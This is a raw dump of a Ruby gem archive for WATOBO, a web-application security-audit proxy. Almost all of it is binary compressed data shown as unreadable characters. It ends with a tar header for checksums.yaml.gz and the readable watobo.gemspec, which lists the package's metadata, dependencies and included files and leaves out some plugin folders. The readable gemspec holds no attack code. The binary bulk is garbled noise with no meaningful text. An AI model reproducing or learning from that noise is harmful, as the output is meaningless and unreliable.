"jWQQ(]TG\/:t!e>OO^NlX WYN%II)46k).`̸0/T|'<Ӕ/X$C۰ <60 g}?4iD`Z{!Ȥ=cϊo./(>נ7VF2RG.0fXfM{CSZOϲYRNDoOCzU6 H.ti+[@ ?{_Vq&*)--Z^dD8%'_H6 qRUmYOIMlӻl[[J[ =(ݥ--mzlYB 妔By̼yORbc#PfoH0@~#',,N.@sSF'7 R,O1#D~*nBu~u X63jqVH"n ;6]T&fHncPUwÀ."eDm e/59׸,h{E3}9;iĎj _h ⹡E vd f!>=܉0D)UBTMkA .(a.a`};<pp G b3?97;~l3uI@!3amXgMe9_%Pו38pWKr^Q2F RqBKM̈́ ]+@HRUx4ֽs$wǒ۷c*F\^KVN3J@]?|Zј6ϠbM3h1xH(%óĕH˩]J#<ǢBRNShQ|1ZqtMv0o\2Pl^)bJh M&1]A`xТfXO4v Dװpt'8}rt|ߙd oIXaj6/ &[!aW5g*nXya 0*FJ*kA#Zy:_:ZE$)yJ&T'ĂQ6-䯢2 b#vi.,뜃~'2-*`ߜ\5hhX\兔v* ͵ ?P'a)hX5[)Rqͩx[ ?1+2x,b3>u]LU7d& eRCăITf2L}+K&Dw~ޮsWd\j:'SƤԜJT<@4iw ;'GV4]>f(\φ)f#ڔ1f:nT3:naB,j;F<[S}]:1pnE;MSzr8V1Hgb#@k: 4O )xRru G 6hK<;pyS9P86:VwbSm ۫Vk 4cǿw,f naF~pjrDB.`ֶx^ao(adE; ˫aS 1^; `ScpGk>7pفc=Mx_a_q 3_wR'_0|7AUaJB!b~@3M xdP|kgl }D,$mbԵ~ 1rш`A ő߉w_3cLrN-)u.Q *QftOAq;ǯa8%.+<0GM ⫤ݱ>& @~ÆY3rQ;~rB¯#t 0󐩈(5"M)DzXrjܭs14x+݀cD֮Ze: #,fw+99h4氅fAU2p-q6BhL{2& יӦͤ<)姝u &~r 0v~"J~Z:B6 ¶+ L=&)V/9ҹ{vFA0t%6f{IYa@¬[?pjyqb"*7/ p| e8 Ďeہ~n]K4=& N): 6cΑ%N =w-IRjn KE(C̜5N *Nfss2H'0K=+C(5VnDV2CW;=%%΀z΅rRLw ?,r%K)Anͥ%f`N:2*0bWY$ O C#]n%\ALp~_G25%CC#η-*N$P=AL/W=!C?J#ɬ&$'6~%5I0eOP"xښʖEO {]0K$B^$g]m6$wsBly.!hoyCu,oiW9se"\q+rN{]F2B3Rm=OKq5'3/ķQIC%jj2k{@(cS-C %%NWKӨ}rSQ }5t8Dٯ~v5b7PyJ\yy!G6V7>3VEA`f?*rh~W b_Mh /nKwPJLKL]##Cq$߀ɉq(6NQ:kLO%r擳d0mJ:wR[?bXl lTHdB-=j6lj6uRӺƶ&}In<PK*hϧCNq{fwe&4cb> &Ġ3i~?nf;:$ `8f+^7,b9", 0Y q {cP~΁J좿yg+£yXh8 iEAѱzNBi{"EpZ-̡GQT17]4| N&ܨ .OIT4J䙷r`b!ɭ}=#[gwJ ՊSzZz}WՂ\/k{W7?TtCOIGu^|M~Z=#]N6i)PMƖp?WSRµ0G>oYmcIK/C"7^x^pam/)4׈iŲhsOO p?-Edԣݎ֣?\p]җ)8ఽW!_3}Ё]xYZ-o ckW5ys'"/QD}}DU?#]N|6iwӷ pS߽"y?Iߘ;'!}x|EܷTo|yq4)i;=t4jk YGUQZih-;ɫ*{/nNU7[O!COJ_@dlA!^-{C/o7?Qٛr8C4w ꛁ?> ֐qaXzd }Χ'yD~ 7`J]>i%纶֟[c`X,4A.tTU>\3ὟL/yLoq^tgzw3S<^w!|_,MzeY*N 1I? |\WVDn;kR ˮ޳|U~ii5lWR /Yz~u5u@s)g'H 6~dh-4J; K:O_cף@ 3)/Ǟ M:|oh ?鴓M/Q!yb%v2i^ⓟ_OoM{w8 偼P eE8nl: A7#y`|5+2Dϯ,l9WCχ'掺<VJTQfff".-*(87 ab_Oȶ}ûrW(EĺodWe~Y[:ݷғGZueghz+cW._\8|g={omݿOL{Qg?~m4pE˵^8&+߱{?bx죱roo?cOnws~֝:g|ʇ.^sޚoZ.<'~wҗcNmX?>c׾R̶Mޓ ޿^9؃ۿ> I}\56~~rIM\uݵ;ؓs'+6\4ۧ==֯]SWjl-[_ZK9esǛ3~2zϧo~=OW_t|'7z(Wn9&U_.{ǾI_|';s5OEYc;Gw'ߘ]˷}5k[ng?+8|'xòy>x _9w}'8럿KoO?=vR ?~寲?l}=Z){oW|g Oz{ŷ=dn[{oNF_UuSֆk~;{[K.H%s^?d3#񣮾ˣ}ZqOџ#[W^ؕ3nZ{O{M?tZ~P_b`ϝ+[>}מ. ?wK{iLZ 9/~5|X?a?n;n?k+I|{oz=?>%GWN^1M]xx߯>ѫۗO\cg?sg6>ݸb[޸?~'Ʃ{}W=.}-C/}5o~}s߹tM{Ϟza٫oޱ׻OuL,rr>_{ezm|mu_oV8N?c <{臅uB8uk/F?7{v9})?95$uDuϢoYWD Wuk~_G6w|_XS_{?=kbw K7 mY[ Cl4;w+EMo4el&OGGzO`JIԼϫM}q<*Tf!rv(wӈBI$2:Q6 Fl M~zN5jRz;N)ٔѪHZn #Iذv8]^YiM͍-Br\ Pހ}l\T˅ $d-ܙɠ^,M"pkBofRféI F#W̧zsL0g&b9r?85A0( j$.0^fޟSi~TL 8?s`Z!s!,׷;xQH(D^l8UX`%Ilt ,Bt%[mP' Qh n^h\n[_V2z^>ҊsoX׋?~Duă7N&Y063/~w )߶魑&Vmm-Vs#mtl䍍ͱ[Nz iM-x k3ںՄlAnXHK 4[qn`fQvT ʶfS߭Mh­AGF5rHbpK0Bnm]gm4f(t2ifܱ'pw1 R 2(B͘ӎ]U]M]5ٗx"b S8kL6ԆwC9^2/c`Į8eu/Ъ0O/7 %qj?dv8ٷ-`8b0 I#UbpضInkؚ[[@=`ezw]kp翇?~S>馂?_5|.!Zdž܄A-yc.]G*NҔRܒ&3٢Q.E ZI-p*.gӻ6I/lL.PC䴢ih~#rbo8ݝ~0Yfa1Y A~dhX]I|w)lzθ@Xl2i`\EBinEх<2A;XV{=%596Q䌚TK3K )CJ+?23sJ (f38f\FK*6]ű(Aevb{H!*%I_}Zq"iXO݉xoH v,\=V r/i.pe0Ƣ2&tvbTT;mț.R$i߉ԈL.vzնF`d& ;ĸ2%w,r)_Cty#-Ey`"̥sB2(0G <|nNkqSl'ԢlӔq_J:UDHEMaN)tj^-MJ&E>Eެ#~L-F9_0 5?|PԺ*R'wremwEN!b |w}޷,xٌ(xOd|Vg}́Fwڵ sqN.j]Z6tD_n!Q ro$o\ \7]V*bp3fNA陙dL$2u 5C"UbQp8P\:nn%Dq 7(w5p;HhzȚhCXCS8R b`,Xǖgoa66VТ/)a5a҉=f ƕ sLI 5g42N1Q%{;(x8WUz8})YG:ƨMա-<iC6Ml[ LJ6cDW'M!_bU·%]2C1鐥$JrsU1hWEߩg@c@̃z.>_l.b<}ApK,Hxd{`/8xydTS h jpBEi)eKJg.[dg $-uצ,󚊾kk'.Ё''WRmj9Βxfy*E*f6'Z:[c ֖f>?4 umѨ|>dH^!ǚ[ GGa2џՓ?TV1S`F>9kT*&S4hE 9X8W#1 =˧8=ɢ=m dlH1o~v` 5\= G{˹ wc.y%׏LPD~j va^5'Uϫ* _\*cJUWHG8jn2&sos lU1GYR;Yxi5oX-]8!i |b^6"4ζcU$7\`-fVRWx\dEe՘nT eM&oh.2!VQ-)m VD&Jp-LS &yߞu҄G!l5m,8?#Ėd`,F bFb=D?=p(AԖJjArf*T.D͑KU }r汿okqd4` ˽۶ 8p~rKڽldbK=$0]*mÝЛ!,:2E^:-9"g{es2pcV<@_(nanL6`UV zGw9ϸVMUuY! |ioMeK"9栭v٩gCk;n봗H{AUJ~^Z҉ָ| Pjg*=C]h>+sm6Iˆ%u?&ݔtN66d.{7n0CZi"go+#W[9x5+NlS:S$o(Gr9 d΋vP|y8/uCʼiT\3~DJ#3|r֨~ lICH^ΓB>qG5nr51OzB.7p\הV7idPW5 x/(EV @> w\stÞB'Dn ,Ы<jZ,iuw} X$:6d [omj!v&mzj&^K||gVv0}.V3"U2j5\{XIX! kqcr-J^N̬@.(%Nc?2%04N;BvH-C.$8k2VgV(FZNVslh邿N0xm3϶h WcqnZ;/k4-Z<!~xt$VqPN?\FɿC`Ъ76,,p_f44Sš~r7XE NS4o%E9pGdԬب#Xhj~C{xiVbN1Ei8Ȅ5; 6{h\915]2G]ᑮN/֍x.{K8o[-ɣ~P9ѥ;yu`VO{ #s xdNBp*mh Br`-Eh X=&0G]D4vim&1,o 1QEl>ߑ~M <٩vshsh{:=(+z4Y˗osYfw(\˺G=IGߤ[^ izjW _b8#c` KkQR2OF6˲;1k&h U-(4cjN*,jV-(mj]=+v낯J3pD~,P.0ĸ%? mMSP3V@ {Mt"p~N@VL'KKq؉)'y: aJylT*h;v448>8Д  o\S є8f9uA쪑"n ^uN^jC+c3&UI0*(^#4$jɮuՓC XVt6V dE\ NH^+^0 ?s 6:ԉ $љk^W fW t'9BDiyp{:(g*%W׍sYZmtܶ\-lfp.+v%u{r 躕$]nZVʚQLBA%Cb t 05-9tVXdv bgu{p;BbdGnтy9Oc2ԃVeH%+M[8:$TApf$[7QIr0},L$("yAzYJkQƒm$0:G,0+ߓޠbaV05. e Pfv\9|oOk;MmMm_aɟ*ƿ55&@$GWʺE(-~ݴ(q쏗VPىlO^dQ-`Dެ|ij<9UÞ0bB)erVMpLYssөBx6}u]?ӡ0>8v.1/Uw MdBE"~_'u~(\1@ `._MMmgUgAvb'3pGPexSo 88{ ,GB݇DG\4Ҙ3HLjqN}T&ORD}i3j1#.eDKogwGQ>E〪F}VTA޸QG i's&1 b u#kz() [Mq[5zdNsa S~[&qX Ѧ'Bp/Kx+[8G -ӈKgBph1.M39YYH@U@ZQs cM.'k8K㩢6p)7zQ7BAI!vZ9>1-7N,K@V 3@|&䫓a Q=h7Pv8Mn͡}iqJNN๭1:"gP9ۑ?yl>ˀKz`#XHξ ܨFr7[iQ JTTi"d4bđx"0t/}>R@̥sD2D|f:$biJ!J r1II"pgwl d`HRxd`iF'HKp'O"hʬLv #GAILKSI|FQI^aff&2hviaj$'6P-83-5p{f/9\aG"Sg ٶey*P;%Woj-XE /@(!:P{ r ?hYw ַ59-?@L8i6R]X~6~[kzT*I6B#rb:g|u لE4 pX \>|6Lw0:h0Y^*-3un5NJY:6mժVAs£ȩYehU@.ZSO|:VAz,dcAoɦ.:l/vDsZ8)s[`nln`R9LҬmۛUrmaa$m/ߓtכH@:j"ԦLyP{AD5S\Ws_`6zw3b M8}HhNVFo)G1a1e)gtOҦXaͅj&G+0*m .MޞޑS+w6eAFIB#x`d5'*z|7*e"Ps}Kry&ݹ UiDsr[YavcJDM+>*k~9T2|Qa̺$^n_m3L?O֓w"@ψ}rXl 1Pǡfv2]h5rp,wvEm\h~s=jnYiL5(}u*LJma3mv ul䘕C5$o;c}sj'"9)F{IDdjgQ7 0&G)!ƿQS,a^I l˗REƻ`0KY.kq0WQӓ3<ӯcU@ qTȽNgYc(S(HO~y<QdC&4z(Bք NVbe@ФxqS^=Gȼvǥvg!&>p?0 ? a7l(9E/02>Vr(q{bVZ݋LZD\e9{0md$6O?>\l<:Zu2`_ZzLl ,ק&קrS;y]KYXHB}Af0*3ɓ|F=a^pf.ȫW4̂@@= ˧w|&IB@@AH# .ձ˺ c0  j݇J& [;F9QRV٢b(N6~a$ZVjyX`$d#Imw)\ ւS]UwN$LZ|p.b̔d2K!4?U@/2"W错2!hӈ̏Ӟ)*smMݏeU72jk) ~14RBKCVb6c\)uE"%aTls Q^D&#r U(õe326hC36 e@mTMXg,٭fX;m/SA@UtL&r"Q9Γ8 s' l- (.3 Yϟ|܊j^<g3&Z }y`3ZM G YDQi5[)jX/a%,>˦wX^Bvj֡u/qӼe]94`ӎ}[ecNptnk4CG javFcIZzNc".TRyy4Z$w%5jj)g"{Ӕg<˜@&fэ^CN Қ {.Xΐw|y%4#JXPf94eb*1rJE0°p\zj h ԡN5Slӯ7>h6InU&8*Rc,S hM-\3}&ZȺlDZ+u?d)`6iwEoȽ \J}m-R#3FvCv Ւ~zs ?`[gO :.!зC">:|-%$%#$#+$tO_*I?(I_R_jI?Ik$c%Iҏ;N_:I?xI$%$NO9EO=UC!I_VaItzKwtHzgwuIzwo,[HYgI I'uo&۷KΝHHĄgIJz ŢkJ^.ǨJH=~Œ~饒K%ϒJ'_.#~啒~U~Ւ~OIg>#]'p H7KmIW*_~~oH7)yHwK=H~$+?K/~!/WC?HJcIOHOJSOIOK3HJ$='?/ ⋒w'~*ݡR`1 Qv1Vzo/۵x _ܵN?~Rz5.gVȋ/gXYpawHE8-tGG郳,3@cEd7]#IHN,dB2ӏ@鉹$iD_,,OD鋛Hҏ[;H?(}k)AFw-..LnX8KJ郋*-˾8sr^GiQE|Wv-C;.>cθx+C_)Ii])ӡZ}^,F.nyͫ[/:O#FϟW:`A>"KE,i6^Aommk͇u(\rW^!w[pP/fC}h^nNJw?~lHMvqJvV*N%,'Rb*+o5`h@ 3:L~rGX&"*7>e*z=f]-iKgˀB˚:ș,NAΫ2*BUΰMƦ9@**R01?ѳKX-xa-e dx"b3vp!]'ʦ$l8SR7l68 ]R]RS͂-1nV*o"r4\ ?d ] ʛdĮخy$:ʹئ*9Lr:i ?7 zVeBF ѴNJ1cgK[ n>;ӦԙhH/tzw, %im"r;18jy`f_9vZb-j\Y8VAC23fgCF.4q)8I޷p;IzDfIpĢi*0'dzdNO2n|&uri _u&))rY֔8x;f)E&u9.ɴ2L\=*% g19M w: b!P25thʑ3|yzy4R(޼@SJL/diǸZyǸxa%!72<<ڗ6wƓCo{L<zmO) #V  ׾aMتw $d1 ۢ2Jh,␟!GO7|7zoei.PP&ecoEpTp1")Zd]f'#x"S)-K$vaHM vCO@" ^< V{k3te9>Ĵen5Wk.vLqe[6ug?y&>zu?^)m Xv FOt^0fL̝$S. O5-+ig筍mFd Z  .Lkjtfp8 KA\hl9Y0э!WJJ.SÛMU#b4~9/(dSlS Lf8:yFagb6D`AdR㢒Y TuR(B/XQjH)>fb˃cQDQ!Mk&ev @ E7e'@m9F`Ch?,A0mIźYuG C7 ޏt"l Pêž3V~(lnb_'ǒhnniuh\?'r9PѪY8JK>l0/ X8.: JE@`R2DZ0?5A onh4("A%U+畑Ԥ0?gg4*/+(y⣣ڔ5ڭO "bw3i^MaAJAEB[A͂y <͠]lX^Ӱr;FjE}wSw&Wlt EpQĚ`ԖOjiU%/SxaWL1b~YLP mILQuXpzNqjBP8ٔt,f­&thS+?Qqpn湠+?97;D #ɩݩlpsjY+Ĺ=h]Kr)OdZi1X""5UOE3L~͠7v<[tWpwlon`Xg48.WZIX/@A 1AVv7h~жs径@K怈9%mD1E;ʐ vc YX"ojK[#TCi={\)A)b(N$yC~`ˑUCԔT2D )$"#؛;={*s a 6YY0,TEVN◎h&@ʜqjNJ&P01{D˧ RD@ӳTb92:BsA5ihQn=U^My\1PP`(F`({͌;1kըNrROsJ [&-iDfeRv EeZݭKhf %$/q2?hu.GyĆ^Byr"վ4߾Ǚ 4or9gybQMZ\"L17,SKTlY^ /.@ Ɓ}v=8C/cש\:p+}K!B9Ӳ[hӅʨ+-{OfײLl?LPƼ@KkB~+xX8A3 dH֊Y΍%H HqhR)m PRIhY8W)wB.~%N3ωd\/웶c,=X4b ڃzus;74HHy, \EUNȭ]!40N~Qݼ:ͭU8LjH&p6z zs=tZݲyaTΛoa(~ q1$m+U9,幎p|hs'od\E<]!0{NzK~)[Vp~9hLvcu]Wt-XU Z;@վ?z֓&iOh śSOUecsmWlC 6"A3w#yvE͜;5U.p4^u'ZBar6Mb(I{Vj,$ӥ}ҧQkkO'*(zAIo˷곥~m+BnB_AnD]X)eQ}ҿJVZą/\y﩯$}2]ގ&<]}?cgԞ9L?;w5o;g=er.'w~Ӏ%.2}ϯ~ =- ?E߻;5&Rk WI}{X:CozM W0Aoy3:g }}g?zH~8WҫIv;3fs5y?Ͼg_z#hB?_ R'ҾeЏox⢫.\E}K/ G};#<,Py}WN^_exe={ݓ?{OEl#*|WIv7$!8+H!$"td&Α0SA@DAD9%  _{g4Tf_]Q}W]/huP=SSHz׃uAS<8~*w_Lω83O^mpAe:U51 7-bhiïlq8.ADPy!\lT}qwѵGyyyˑ#G:teÆ q *fgaa!}ׁӹ^zԩS7[oQNƏ&L ޽{ 2hpe(wL;h 7nL>f͚`̙;AQQFﾻh8Cxנ_~0zh2L[otZH4K@){ƌFɃt@z?Α~jer-MўD$ر0e/T'M2dzj'ރٳgüy̙3 tev" ŋ,\Νt6mӓhhaժUfW+V%KՇ߸qcLaa˖-uVضmN6o ֭>;vF}Z,++3u˗.]D;sԧ:_yE8&P>F_ cԨQdM6SڵkpU8s Ǐ{ 6$8ce \VO88A8.\pu| re'Ĉ3豨_tx`ƝQ(.?B:Ic<4؆>ѾGByzB0} >ux|/4HZo5~-g4~~} OÝzH[Շxƺ|$vxVg[ﭹ;,Fr7>Oay܇z69tޣС~z/C 8!^|UB3ԅxڵ۹s'{V ^ēxr3Fͫz%~挀?d`>7rDۯl ;M>Y`":Aĵ6'sx KaeE/{,w!ixuk|xzn?kO@]>}:gZw^ߴ/o LfȾO)9V2i-4='^K9%~S={OqC_'s>;y$g\1,_u s'>g}7CzϪ}- >ښ0m (Z/ ݲ',BEz\h>p470U&S3#͛7O~~R^)$' tZ mG·VC>C՘%xd_]9CvG/`.]h/wI9><}>H3D+C]~aÐ6y%4qrHyu0ڿ,KA۷W}K2{_a@iP;+h+BxeY)M^O10%fhOOWck97 {O3;mώCު]~aiJVR&muv8caw.ȝ!t:Q;]}q^A/+#݀]C\__=a†/U'.cas0Y4ڣ~v,ȖS?#d_џџy8/ӑߴ_}ȳ%ذ^K@u0Lw)?L߸ &Ua> 3>Gdv)xs >{=6 ڍ A_Y!uz0,o{~һِbvx+uׂa'~~M,F΁UЭǠӬ0yUm/ĢmTcm0yWE/6sûNUzh;t6˫k!y6Xr_;NnYY905iBxaXr_[?ĽnDOგj|;Q.]a/KnN64)66/Ÿzmp< 6~Rx#)=TxHz!?w d}cԗU }n)R2WuӶb^*qohM&ɏPF$;Gq1[ W)\fmb7~7rfMErL/(Pf67OJ-.2 G1`^u*-9fc k+T)Ybj/ ld CV*Ԝ>n,RS#h~B2Ln髇E\ED7@;Zi9&#]5XSF9%.>)K,ԳNYRb;gO;ť7>s2s&|M!hUً\*lV*؅Y,\5/)tsay=gsB.FfAkž^MP/dA$YVޝ6+xe!MI‹)r)q ](+,jmQHOO314{wCPqRYPk| B"dHc5C_䫾6.׭'JnËq:8rl)RߪXG(ec֪œ1f;BxU00r$s,s* |¢FEF[sO^HsL:1+KI36b9WZX''IStJ w`V~ i'0 2&(<{r`1lBi`cFhwd_8WF;.{@DqVeս<&#oSWKn _^a^elB|ƕ6(?гKCFGG7Ւ+x|&}8Zíwߦz$3 7Ț+_%lkT[4E_ǫXw⋯q<^þ`7ztR2ORz3>|л@ 'WMrlqx bOS]cқ<% W r!F]a^"@YT| #@VEΐ٫.J+X3$Qf81豼SH@a#)Jyt"nRjHTAtիby0m$A`ju*zLRWJb ԮQݳ#6D SJDQvQeaљ?a-U*Eғb31I<.>!SRF\wfA&3KHL2ȈTN'N:]T=EG=}-VeX>'r@ .3?5H,h%AL1 ȯ^Wo4jaZ)nғ.Ľ:wIbPejD^ثR4FaGP%zl |"u3Xy;(1PuB׭[8sɟJK\?4qlg5w δ{fKlޓ6u6$PC[9jgMOyWA , YB *Hf* ~Nɍ~~g45z=RM]4C'bOW&(5/킃)Y\R9,7 ƒ(0P^꥔/6{]Ry&m,^c"5ܱaϲ/Ai㝶Zw̞)d3*eէJӀ/HݜO+Zfv!#&KLw"C~J?˜,K*B$4L>Wxxx7SPrz0>Ɍׂ/ 8gŋuB `[~Sh.Ũ`Kdӗ)SelyjENR-%!8@٧^<"xwY@7TKTzק?g|H8$^BdC0 Q8()XS0*8P3}3#dGI?ݒhߗH 6O;$oL45{Tj?:{tHoUw}3׉=M($wܮ닐+g6d٪c7:LU;G[<C(1checksums.yaml.gz0000444000000000000000000000045013605062401014600 0ustar00wheelwheel00000000000000e^e9@ y|`[zx@Wccz5"+^|wtˏOU- urI9uΎcLݺ._m8>&i\5dքi=lֿ?OkfΈ%AQZ%,' 5, Q[ ۋ&8pd[ΖF`.p>Uߞy$ yov,ю` 7LJ_k!1U[${lTNfio5;Wi UBz&watobo-1.0.1/watobo.gemspec000077500000000000000000000027341366346341400156670ustar00rootroot00000000000000inc_path = File.expand_path(File.join(File.dirname(__FILE__), "lib")) $: << inc_path require 'watobo' watobo_version = Watobo::VERSION raise 'no version defined' unless watobo_version =~ /^\d/ spec = Gem::Specification.new do |s| s.name = 'watobo' s.version = watobo_version s.licenses = ['GPL-2.0'] s.summary = 'WATOBO - Web Application Toolbox' s.description ="WATOBO is intended to enable security professionals to perform efficient (semi-automated ) web application security audits. It works like a local web proxy." s.homepage = "http://watobo.sourceforge.net" s.email = "watobo@siberas.de" s.require_paths = ['lib'] s.executables = [ 'watobo_gui.rb', 'watobo', 'nfq_server.rb' ] s.authors = 'Andreas Schmidt' s.required_ruby_version = '>= 2.3' s.add_dependency 'bundler', '>= 1.15.0', '< 2.0' s.add_dependency 'mechanize', '2.7.4' s.add_dependency 'fxruby', '1.6.38' s.add_dependency 'jwt', '1.5.4' s.add_dependency 'selenium-webdriver', '>=3.0.1' files = [] excludes = [ "plugins/soaper", "plugins/scrambler", "plugins/sqlinjector", "modules/active/RoR"] %w( extras lib config certificates modules plugins icons custom-views ).each do |path| Dir.glob("#{path}/**/*").each do |f| next unless excludes.select{ |e| f =~ /#{e}/i }.empty? files << f end end %w( README.md CHANGELOG.md .yardopts).each do |fn| files << fn if File.exist?(fn) end s.files = files end